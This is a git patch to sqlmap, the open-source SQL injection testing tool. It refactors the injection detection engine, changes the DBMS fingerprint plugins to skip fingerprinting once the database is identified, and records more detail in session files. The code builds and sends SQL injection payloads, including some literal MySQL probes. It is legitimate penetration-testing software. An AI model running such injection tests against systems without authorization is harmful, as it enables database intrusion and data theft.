From c8f943f5e4c2f035753a415f703aad4518e17dc4 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Tue, 30 Nov 2010 22:40:25 +0000 Subject: [PATCH] Now, if the back-end dbms type has been identified by the detection engine, skips the fingerprint phase. Major code refactoring and commenting to detection engine. Ask user whether or not to proceed to test remaining parameters after an injection point has been identified. Restore beep at SQL injection find. Avoid reuse of same variable in DBMS handler code. Minor adjustment of payloads XML file. --- lib/controller/checks.py | 171 +++++++++++++++--------- lib/controller/controller.py | 26 +++- lib/controller/handler.py | 22 +-- lib/core/agent.py | 36 +++-- lib/core/session.py | 26 +++- lib/core/target.py | 4 +- lib/parse/payloads.py | 2 + plugins/dbms/access/fingerprint.py | 2 +- plugins/dbms/firebird/fingerprint.py | 2 +- plugins/dbms/maxdb/fingerprint.py | 2 +- plugins/dbms/mssqlserver/fingerprint.py | 4 +- plugins/dbms/mysql/fingerprint.py | 14 +- plugins/dbms/oracle/fingerprint.py | 2 +- plugins/dbms/postgresql/fingerprint.py | 2 +- plugins/dbms/sqlite/fingerprint.py | 2 +- plugins/dbms/sybase/fingerprint.py | 4 +- xml/payloads.xml | 7 +- 17 files changed, 210 insertions(+), 118 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 2abb91990..55fc3b941 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -67,7 +67,24 @@ def unescape(string, dbms): "Sybase": Sybase.unescape } - return unescaper[dbms](string) + if dbms in unescaper: + return unescaper[dbms](string) + else: + return string + +def unescapeDbms(payload, injection, dbms): + # If this is a DBMS-specific test (dbms), sqlmap identified the + # DBMS during previous a test (injection.dbms) or the user + # provided a DBMS (conf.dbms), unescape the strings between single + # quotes in the payload + if injection.dbms is not None: + payload = unescape(payload, injection.dbms) + elif dbms is not None: + payload = unescape(payload, dbms) + elif conf.dbms is not None: + payload = unescape(payload, conf.dbms) + + return payload def checkSqlInjection(place, parameter, value): # Store here the details about boundaries and payload used to @@ -77,8 +94,9 @@ def checkSqlInjection(place, parameter, value): for test in conf.tests: title = test.title stype = test.stype - proceed = True + # Skip test if the risk is higher than the provided (or default) + # value # Parse test's if test.risk > conf.risk: debugMsg = "skipping test '%s' because the risk " % title @@ -86,6 +104,8 @@ def checkSqlInjection(place, parameter, value): logger.debug(debugMsg) continue + # Skip test if the level is higher than the provided (or default) + # value # Parse test's if test.level > conf.level: debugMsg = "skipping test '%s' because the level " % title @@ -93,26 +113,27 @@ def checkSqlInjection(place, parameter, value): logger.debug(debugMsg) continue + # Skip test if it is the same SQL injection type already + # identified by another test + if injection.data and stype in injection.data: + debugMsg = "skipping test '%s' because " % title + debugMsg += "the payload for %s has " % PAYLOAD.SQLINJECTION[stype] + debugMsg += "already been identified" + logger.debug(debugMsg) + continue + + # Skip DBMS-specific test if it does not match either the + # previously identified or the user's provided DBMS if "details" in test and "dbms" in test.details: dbms = test.details.dbms else: dbms = None - # Skip current test if it is the same SQL injection type - # already identified by another test - if injection.data and stype in injection.data: - debugMsg = "skipping test '%s' because " % title - debugMsg += "we have already the payload for %s" % PAYLOAD.SQLINJECTION[stype] - logger.debug(debugMsg) - - continue - - # Skip DBMS-specific tests if they do not match the DBMS - # identified if dbms is not None: if injection.dbms is not None and injection.dbms != dbms: debugMsg = "skipping test '%s' because " % title - debugMsg += "the back-end DBMS is %s" % injection.dbms + debugMsg += "the back-end DBMS identified is " + debugMsg += "%s" % injection.dbms logger.debug(debugMsg) continue @@ -128,16 +149,10 @@ def checkSqlInjection(place, parameter, value): logger.info(infoMsg) # Parse test's - payload = agent.cleanupPayload(test.request.payload) - - if dbms: - payload = unescape(payload, dbms) - - if "comment" in test.request: - comment = test.request.comment - else: - comment = "" - testPayload = "%s%s" % (payload, comment) + comment = agent.getComment(test.request) + fstPayload = agent.cleanupPayload(test.request.payload) + fstPayload = unescapeDbms(fstPayload, injection, dbms) + fstPayload = "%s%s" % (fstPayload, comment) if conf.prefix is not None and conf.suffix is not None: # Create a custom boundary object for user's supplied prefix @@ -162,17 +177,21 @@ def checkSqlInjection(place, parameter, value): else: boundary.ptype = 1 - # Prepend user's provided boundaries to all others + # Prepend user's provided boundaries to all others boundaries conf.boundaries.insert(0, boundary) for boundary in conf.boundaries: + injectable = False + + # Skip boundary if the level is higher than the provided (or + # default) value # Parse boundary's if boundary.level > conf.level: # NOTE: shall we report every single skipped boundary too? continue - # Parse test's and boundary's # Skip boundary if it does not match against test's + # Parse test's and boundary's clauseMatch = False for clauseTest in test.clause: @@ -183,8 +202,8 @@ def checkSqlInjection(place, parameter, value): if test.clause != [ 0 ] and boundary.clause != [ 0 ] and not clauseMatch: continue - # Parse test's and boundary's # Skip boundary if it does not match against test's + # Parse test's and boundary's whereMatch = False for where in test.where: @@ -199,11 +218,10 @@ def checkSqlInjection(place, parameter, value): prefix = boundary.prefix if boundary.prefix else "" suffix = boundary.suffix if boundary.suffix else "" ptype = boundary.ptype - injectable = False # If the previous injections succeeded, we know which prefix, - # postfix and parameter type to use for further tests, no - # need to cycle through all of the boundaries anymore + # suffix and parameter type to use for further tests, no + # need to cycle through the boundaries for the following tests condBound = (injection.prefix is not None and injection.suffix is not None) condBound &= (injection.prefix != prefix or injection.suffix != suffix) condType = injection.ptype is not None and injection.ptype != ptype @@ -213,8 +231,8 @@ def checkSqlInjection(place, parameter, value): # For each test's for where in test.where: - # The tag defines where to add our injection - # string to the parameter under assessment. + # Threat the parameter original value according to the + # test's tag if where == 1: origValue = value elif where == 2: @@ -222,41 +240,41 @@ def checkSqlInjection(place, parameter, value): elif where == 3: origValue = "" - # Forge payload by prepending with boundary's prefix and - # appending with boundary's suffix the test's - # ' ' string - boundPayload = "%s%s %s %s" % (origValue, prefix, testPayload, suffix) + # Forge request payload by prepending with boundary's + # prefix and appending the boundary's suffix to the + # test's ' ' string + boundPayload = "%s%s %s %s" % (origValue, prefix, fstPayload, suffix) boundPayload = boundPayload.strip() boundPayload = agent.cleanupPayload(boundPayload) reqPayload = agent.payload(place, parameter, value, boundPayload) + # Perform the test's request and check whether or not the + # payload was successful # Parse test's - # Check wheather or not the payload was successful for method, check in test.response.items(): check = agent.cleanupPayload(check) # In case of boolean-based blind SQL injection if method == "comparison": sndPayload = agent.cleanupPayload(test.response.comparison) + sndPayload = unescapeDbms(sndPayload, injection, dbms) + sndPayload = "%s%s" % (sndPayload, comment) - if dbms: - sndPayload = unescape(sndPayload, dbms) - - if "comment" in test.response: - sndComment = test.response.comment - else: - sndComment = "" - - sndPayload = "%s%s" % (sndPayload, sndComment) + # Forge response payload by prepending with + # boundary's prefix and appending the boundary's + # suffix to the test's ' ' + # string boundPayload = "%s%s %s %s" % (origValue, prefix, sndPayload, suffix) boundPayload = boundPayload.strip() boundPayload = agent.cleanupPayload(boundPayload) cmpPayload = agent.payload(place, parameter, value, boundPayload) - # Useful to set conf.matchRatio at first + # Useful to set conf.matchRatio at first based on + # the False response content conf.matchRatio = None _ = Request.queryPage(cmpPayload, place) + # Compare True and False response contents trueResult = Request.queryPage(reqPayload, place) if trueResult: @@ -273,6 +291,8 @@ def checkSqlInjection(place, parameter, value): # In case of error-based or UNION query SQL injections elif method == "grep": + # Perform the test's request and grep the response + # body for the test's regular expression reqBody, _ = Request.queryPage(reqPayload, place, content=True) match = re.search(check, reqBody, re.DOTALL | re.IGNORECASE) @@ -290,8 +310,11 @@ def checkSqlInjection(place, parameter, value): injectable = True - # In case of time-based blind or stacked queries SQL injections + # In case of time-based blind or stacked queries + # SQL injections elif method == "time": + # Perform the test's request and check how long + # it takes to get the response back start = time.time() _ = Request.queryPage(reqPayload, place) duration = calculateDeltaSeconds(start) @@ -302,26 +325,44 @@ def checkSqlInjection(place, parameter, value): injectable = True + # If the injection test was successful feed the injection + # object with the test's details + if injectable is True: + # Feed with the boundaries details only the first time a + # test has been successful + if injection.place is None or injection.parameter is None: + injection.place = place + injection.parameter = parameter + injection.ptype = ptype + injection.prefix = prefix + injection.suffix = suffix + + # Feed with test details every time a test is successful + injection.data[stype] = (title, reqPayload, where, comment) + + if "details" in test: + for detailKey, detailValue in test.details.items(): + if detailKey == "dbms" and injection.dbms is None: + injection.dbms = detailValue + kb.dbms = detailValue + elif detailKey == "dbms_version" and injection.dbms_version is None: + injection.dbms_version = detailValue + kb.dbmsVersion = [ detailValue ] + elif detailKey == "os" and injection.os is None: + injection.os = detailValue + + beep() + + # There is no need to perform this test for other + # tags + break + if injectable is True: - injection.place = place - injection.parameter = parameter - injection.ptype = ptype - injection.prefix = prefix - injection.suffix = suffix - - injection.data[stype] = (boundPayload, comment) - - if "details" in test: - for detailKey, detailValue in test.details.items(): - if detailKey == "dbms" and injection.dbms is None: - injection.dbms = detailValue - elif detailKey == "dbms_version" and injection.dbms_version is None: - injection.dbms_version = detailValue - elif detailKey == "os" and injection.os is None: - injection.os = detailValue - + # There is no need to perform this test with others + # boundaries break + # Return the injection object if injection.place is not None and injection.parameter is not None: return injection else: diff --git a/lib/controller/controller.py b/lib/controller/controller.py index adda690e8..b72e7da38 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -109,7 +109,8 @@ def __formatInjection(inj): for stype, sdata in inj.data.items(): stype = PAYLOAD.SQLINJECTION[stype] if isinstance(stype, int) else stype data += " Type: %s\n" % stype - data += " Payload: %s\n\n" % sdata[0] + data += " Title: %s\n" % sdata[0] + data += " Payload: %s\n\n" % sdata[1] return data @@ -126,13 +127,16 @@ def __showInjections(): def __saveToSessionFile(): for inj in kb.injections: + if inj.place is None or inj.parameter is None: + continue + setInjection(inj) place = inj.place parameter = inj.parameter for stype, sdata in inj.data.items(): - payload = sdata[0] + payload = sdata[1] if stype == 1: kb.booleanTest = payload @@ -313,6 +317,8 @@ def start(): parameters.remove(place) parameters.insert(0, place) + proceed = True + for place in parameters: # Test User-Agent header only if --level >= 4 condition = (place == "User-Agent" and conf.level < 4) @@ -325,6 +331,9 @@ def start(): if not conf.paramDict.has_key(place): continue + if not proceed: + break + paramDict = conf.paramDict[place] for parameter, value in paramDict.items(): testSqlInj = True @@ -361,15 +370,22 @@ def start(): injection = checkSqlInjection(place, parameter, value) - if injection: + if injection is not None and injection.place is not None: kb.injections.append(injection) + + msg = "%s parameter '%s' " % (injection.place, injection.parameter) + msg += "is vulnerable. Do you want to keep testing the others? [y/N] " + test = readInput(msg, default="N") + + if test[0] in ("n", "N"): + proceed = False + break else: warnMsg = "%s parameter '%s' is not " % (place, parameter) warnMsg += "injectable" logger.warn(warnMsg) - if (len(kb.injections) == 0 or len(kb.injections) == 1 and kb.injections[0].parameter is None) \ - and not kb.injection.place and not kb.injection.parameter: + if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None): errMsg = "all parameters are not injectable, try " errMsg += "a higher --level" raise sqlmapNotVulnerableException, errMsg diff --git a/lib/controller/handler.py b/lib/controller/handler.py index f79dc8109..3cedcd386 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -50,7 +50,7 @@ def setHandler(): count = 0 dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server", "SQLite", "Microsoft Access", "Firebird", "SAP MaxDB", "Sybase" ) - dbmsMap = [ + dbmsObj = [ ( MYSQL_ALIASES, MySQLMap, MySQLConn ), ( ORACLE_ALIASES, OracleMap, OracleConn ), ( PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn ), @@ -64,24 +64,27 @@ def setHandler(): if kb.htmlFp: inferencedDbms = kb.htmlFp[-1] - elif hasattr(kb.injection, "dbms"): - inferencedDbms = kb.injection.dbms else: inferencedDbms = None + for injection in kb.injections: + if hasattr(injection, "dbms"): + inferencedDbms = injection.dbms + break + if inferencedDbms is not None: - for i in xrange(len(dbmsMap)): - dbmsAliases, _, _ = dbmsMap[i] + for i in xrange(len(dbmsObj)): + dbmsAliases, _, _ = dbmsObj[i] if inferencedDbms.lower() in dbmsAliases: if i > 0: - pushValue(dbmsMap[i]) - dbmsMap.remove(dbmsMap[i]) - dbmsMap.insert(0, popValue()) + pushValue(dbmsObj[i]) + dbmsObj.remove(dbmsObj[i]) + dbmsObj.insert(0, popValue()) break - for dbmsAliases, dbmsMap, dbmsConn in dbmsMap: + for dbmsAliases, dbmsMap, dbmsConn in dbmsObj: if conf.dbms and conf.dbms not in dbmsAliases: debugMsg = "skipping test for %s" % dbmsNames[count] logger.debug(debugMsg) @@ -102,7 +105,6 @@ def setHandler(): if handler.checkDbms(): if not conf.dbms or conf.dbms in dbmsAliases: kb.dbmsDetected = True - conf.dbmsHandler = handler return diff --git a/lib/core/agent.py b/lib/core/agent.py index c93db6d6c..9cb58de2b 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -126,20 +126,6 @@ class Agent: return payload - def cleanupPayload(self, payload): - randInt = randomInt() - randInt1 = randomInt() - randStr = randomStr() - - payload = payload.replace("[RANDNUM]", str(randInt)) - payload = payload.replace("[RANDNUM1]", str(randInt1)) - payload = payload.replace("[RANDSTR]", randStr) - payload = payload.replace("[ERROR_START_CHAR]", ERROR_START_CHAR) - payload = payload.replace("[ERROR_END_CHAR]", ERROR_END_CHAR) - payload = payload.replace("[SLEEPTIME]", str(conf.timeSec)) - - return payload - def prefixQuery(self, string): """ This method defines how the input string has to be escaped @@ -173,6 +159,28 @@ class Agent: return string + def cleanupPayload(self, payload): + randInt = randomInt() + randInt1 = randomInt() + randStr = randomStr() + + payload = payload.replace("[RANDNUM]", str(randInt)) + payload = payload.replace("[RANDNUM1]", str(randInt1)) + payload = payload.replace("[RANDSTR]", randStr) + payload = payload.replace("[ERROR_START_CHAR]", ERROR_START_CHAR) + payload = payload.replace("[ERROR_END_CHAR]", ERROR_END_CHAR) + payload = payload.replace("[SLEEPTIME]", str(conf.timeSec)) + + return payload + + def getComment(self, reqObj): + if "comment" in reqObj: + comment = reqObj.comment + else: + comment = "" + + return comment + def nullAndCastField(self, field): """ Take in input a field string and return its processed nulled and diff --git a/lib/core/session.py b/lib/core/session.py index c1a77dbdf..57cbe1712 100644 --- a/lib/core/session.py +++ b/lib/core/session.py @@ -98,8 +98,10 @@ def setInjection(inj): for stype, sdata in inj.data.items(): dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), PAYLOAD.SQLINJECTION[stype])) - dataToSessionFile("[%s][%s][%s][Injection payload][%s]\n" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), sdata[0])) - dataToSessionFile("[%s][%s][%s][Injection comment][%s]\n" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), sdata[1])) + dataToSessionFile("[%s][%s][%s][Injection title][%s]\n" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), sdata[0])) + dataToSessionFile("[%s][%s][%s][Injection payload][%s]\n" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), sdata[1])) + dataToSessionFile("[%s][%s][%s][Injection where][%s]\n" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), sdata[2])) + dataToSessionFile("[%s][%s][%s][Injection comment][%s]\n" % (conf.url, inj.place, safeFormatString(conf.parameters[inj.place]), sdata[3])) def setDbms(dbms): """ @@ -371,7 +373,7 @@ def resumeConfKb(expression, url, value): warnMsg += "injectable point" logger.warn(warnMsg) else: - if kb.injection.place is not None: + if kb.injection.place is not None and kb.injection.parameter is not None: kb.injections.append(kb.injection) kb.injection = injectionDict() @@ -422,6 +424,13 @@ def resumeConfKb(expression, url, value): logMsg = "resuming injection type '%s' from session file" % stype logger.info(logMsg) + elif expression == "Injection title" and url == conf.url: + title = unSafeFormatString(value[:-1]) + kb.injection.data[kb.injection.data.keys()[0]].append(title) + + logMsg = "resuming injection title '%s' from session file" % title + logger.info(logMsg) + elif expression == "Injection payload" and url == conf.url: payload = unSafeFormatString(value[:-1]) kb.injection.data[kb.injection.data.keys()[0]].append(payload) @@ -429,6 +438,13 @@ def resumeConfKb(expression, url, value): logMsg = "resuming injection payload '%s' from session file" % payload logger.info(logMsg) + elif expression == "Injection where" and url == conf.url: + where = unSafeFormatString(value[:-1]) + kb.injection.data[kb.injection.data.keys()[0]].append(where) + + logMsg = "resuming injection where '%s' from session file" % where + logger.info(logMsg) + elif expression == "Injection comment" and url == conf.url: comment = unSafeFormatString(value[:-1]) kb.injection.data[kb.injection.data.keys()[0]].append(comment) @@ -492,10 +508,10 @@ def resumeConfKb(expression, url, value): test = readInput(message, default="N") if not test or test[0] in ("n", "N"): - conf.dbms = dbms + kb.dbms = dbms kb.dbmsVersion = dbmsVersion else: - conf.dbms = dbms + kb.dbms = dbms kb.dbmsVersion = dbmsVersion elif expression == "OS" and url == conf.url: diff --git a/lib/core/target.py b/lib/core/target.py index 8bbd0b66b..acdeb8166 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -173,7 +173,9 @@ def __setOutputResume(): elif len(value) >= len(kb.resumedQueries[url][expression]): kb.resumedQueries[url][expression] = value - kb.injections.append(kb.injection) + if kb.injection.place is not None and kb.injection.parameter is not None: + kb.injections.append(kb.injection) + readSessionFP.close() else: try: diff --git a/lib/parse/payloads.py b/lib/parse/payloads.py index c450730ce..81796e00d 100644 --- a/lib/parse/payloads.py +++ b/lib/parse/payloads.py @@ -19,6 +19,8 @@ def cleanupVals(values, tag): for value in values: if value.isdigit(): value = int(value) + else: + value = str(value) values[count] = value count += 1 diff --git a/plugins/dbms/access/fingerprint.py b/plugins/dbms/access/fingerprint.py index 12d9bf543..d5a01eeb5 100644 --- a/plugins/dbms/access/fingerprint.py +++ b/plugins/dbms/access/fingerprint.py @@ -152,7 +152,7 @@ class Fingerprint(GenericFingerprint): return value def checkDbms(self): - if conf.dbms in ACCESS_ALIASES: + if (kb.dbms is not None and kb.dbms.lower() in ACCESS_ALIASES) or conf.dbms in ACCESS_ALIASES: setDbms(DBMS.ACCESS) if not conf.extensiveFp: diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py index 4744ac11a..f9ce93916 100644 --- a/plugins/dbms/firebird/fingerprint.py +++ b/plugins/dbms/firebird/fingerprint.py @@ -103,7 +103,7 @@ class Fingerprint(GenericFingerprint): return retVal def checkDbms(self): - if conf.dbms in FIREBIRD_ALIASES: + if (kb.dbms is not None and kb.dbms.lower() in FIREBIRD_ALIASES) or conf.dbms in FIREBIRD_ALIASES: setDbms(DBMS.FIREBIRD) self.getBanner() diff --git a/plugins/dbms/maxdb/fingerprint.py b/plugins/dbms/maxdb/fingerprint.py index d83955917..9bc89bfc1 100644 --- a/plugins/dbms/maxdb/fingerprint.py +++ b/plugins/dbms/maxdb/fingerprint.py @@ -105,7 +105,7 @@ class Fingerprint(GenericFingerprint): return value def checkDbms(self): - if conf.dbms in MAXDB_ALIASES: + if (kb.dbms is not None and kb.dbms.lower() in MAXDB_ALIASES) or conf.dbms in MAXDB_ALIASES: setDbms(DBMS.MAXDB) self.getBanner() diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index df6cab3aa..e2bb4f354 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -71,7 +71,9 @@ class Fingerprint(GenericFingerprint): return value def checkDbms(self): - if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit(): + if ((kb.dbms is not None and kb.dbms.lower() in MSSQL_ALIASES) \ + or conf.dbms in MSSQL_ALIASES) and kb.dbmsVersion and \ + kb.dbmsVersion[0].isdigit(): setDbms("%s %s" % (DBMS.MSSQL, kb.dbmsVersion[0])) self.getBanner() diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index 62da10a1c..a991ace7a 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -142,10 +142,16 @@ class Fingerprint(GenericFingerprint): * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn) """ - if conf.dbms in MYSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit(): + if ((kb.dbms is not None and kb.dbms.lower() in MYSQL_ALIASES) \ + or conf.dbms in MYSQL_ALIASES) and kb.dbmsVersion and \ + kb.dbmsVersion[0] != "Unknown": + kb.dbmsVersion[0] = kb.dbmsVersion[0].replace(">", "") + kb.dbmsVersion[0] = kb.dbmsVersion[0].replace("=", "") + kb.dbmsVersion[0] = kb.dbmsVersion[0].replace(" ", "") + setDbms("%s %s" % (DBMS.MYSQL, kb.dbmsVersion[0])) - if int(kb.dbmsVersion[0]) >= 5: + if str(kb.dbmsVersion[0]) >= '5': kb.data.has_information_schema = True self.getBanner() @@ -158,14 +164,14 @@ class Fingerprint(GenericFingerprint): randInt = getUnicode(randomInt(1)) payload = agent.fullPayload("AND CONNECTION_ID()=CONNECTION_ID()") - result = Request.queryPage(payload) + result = Request.queryPage(payload) if result: infoMsg = "confirming MySQL" logger.info(infoMsg) payload = agent.fullPayload("AND ISNULL(1/0)" if kb.injection.place != PLACE.URI else "AND ISNULL(1 DIV 0)") - result = Request.queryPage(payload) + result = Request.queryPage(payload) if not result: warnMsg = "the back-end DBMS is not MySQL" diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index cb533d22a..97fe32030 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -64,7 +64,7 @@ class Fingerprint(GenericFingerprint): return value def checkDbms(self): - if conf.dbms in ORACLE_ALIASES: + if (kb.dbms is not None and kb.dbms.lower() in ORACLE_ALIASES) or conf.dbms in ORACLE_ALIASES: setDbms(DBMS.ORACLE) self.getBanner() diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index f86881262..11c4d0db8 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -73,7 +73,7 @@ class Fingerprint(GenericFingerprint): * http://www.postgresql.org/docs/8.4/interactive/release.html (up to 8.4.2) """ - if conf.dbms in PGSQL_ALIASES: + if (kb.dbms is not None and kb.dbms.lower() in PGSQL_ALIASES) or conf.dbms in PGSQL_ALIASES: setDbms(DBMS.POSTGRESQL) self.getBanner() diff --git a/plugins/dbms/sqlite/fingerprint.py b/plugins/dbms/sqlite/fingerprint.py index b306b5257..8f36a6787 100644 --- a/plugins/dbms/sqlite/fingerprint.py +++ b/plugins/dbms/sqlite/fingerprint.py @@ -69,7 +69,7 @@ class Fingerprint(GenericFingerprint): * http://www.sqlite.org/cvstrac/wiki?p=LoadableExtensions """ - if conf.dbms in SQLITE_ALIASES: + if (kb.dbms is not None and kb.dbms.lower() in SQLITE_ALIASES) or conf.dbms in SQLITE_ALIASES: setDbms(DBMS.SQLITE) self.getBanner() diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index 8e08ea6e0..913d0b7ba 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -63,7 +63,9 @@ class Fingerprint(GenericFingerprint): return value def checkDbms(self): - if conf.dbms in SYBASE_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit(): + if ((kb.dbms is not None and kb.dbms.lower() in SYBASE_ALIASES) \ + or conf.dbms in SYBASE_ALIASES) and kb.dbmsVersion and \ + kb.dbmsVersion[0].isdigit(): setDbms("%s %s" % (DBMS.SYBASE, kb.dbmsVersion[0])) self.getBanner() diff --git a/xml/payloads.xml b/xml/payloads.xml index 2ec8810ed..895624176 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -35,7 +35,7 @@ Tag: A comma separated list of these values is also possible. Sub-tag: - This depends on the value of the (payload) in exam. + Where to add our ' ' string. Valid values: 1: When the value of 's is 1. @@ -463,7 +463,6 @@ Formats:
MySQL - < 5.0
@@ -554,7 +553,6 @@ Formats:
MySQL - < 5.0
@@ -888,7 +886,6 @@ Formats:
MySQL - < 5.0.12
@@ -1108,7 +1105,6 @@ Formats:
MySQL - < 5.0.12
@@ -1212,7 +1208,6 @@ Formats:
MySQL - < 5.0.12